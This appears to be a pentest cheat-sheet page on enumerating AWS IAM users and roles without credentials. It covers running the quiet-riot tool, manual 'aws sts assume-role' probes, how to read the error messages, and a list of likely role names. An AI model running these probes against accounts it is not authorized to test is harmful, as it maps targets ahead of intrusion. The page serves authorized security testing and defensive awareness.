Skip to content
HackIndex logo

HackIndex

IAM Unauthenticated Enumeration

2 min read May 24, 2026

AWS error messages differ between non-existent principals and valid ones that simply lack permissions. This allows confirming whether a username or role exists without any credentials.

Error-Based User Enumeration

quiet-riot brute-forces IAM principal names using cross-account role assumption errors:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/righteousgambit/quiet-riot
┌──(kali㉿kali)-[~]
└─$ cd quiet-riot
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ python3 quiet_riot.py -e users -a $ACCOUNT_ID -w /usr/share/seclists/Usernames/Names/names.txt
Explain command
-e users Enumerate IAM users.
-a $ACCOUNT_ID Target AWS account ID.
-w Wordlist of names to try.
┌──(kali㉿kali)-[~]
└─$ python3 quiet_riot.py -e roles -a $ACCOUNT_ID -w wordlist.txt

The tool attempts sts:AssumeRole against arn:aws:iam::$ACCOUNT_ID:role/$WORD. A MalformedPolicyDocumentException means the principal exists. An InvalidInputException means it does not.

Manual STS Error Discrimination

Test a single principal name manually:

┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME --role-session-name test --no-sign-request 2>&1

Enumerating Roles via Trust Policy Errors

With any valid AWS credentials, enumerate role names more reliably:

┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME --role-session-name test --profile $PROFILE 2>&1 | grep -i "error\|exception" 
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::999999999999:user/attacker is not authorized to assume role: arn:aws:iam::123456789012:role/AdminRole

AccessDenied: User ... is not authorized to assume role confirms the role exists.
An error occurred (NoSuchEntity) confirms it does not.

Wordlists for IAM Enumeration

Common IAM role name patterns to try:

admin
Administrator
AdminRole
OrganizationAccountAccessRole
ReadOnlyAccess
PowerUserAccess
ec2-role
lambda-role
ecs-task-role
github-actions
deploy
ci-cd
terraform
s3-access
rds-access
cross-account
audit
security
devops

See IAM Authenticated Enumeration for full enumeration once you have credentials.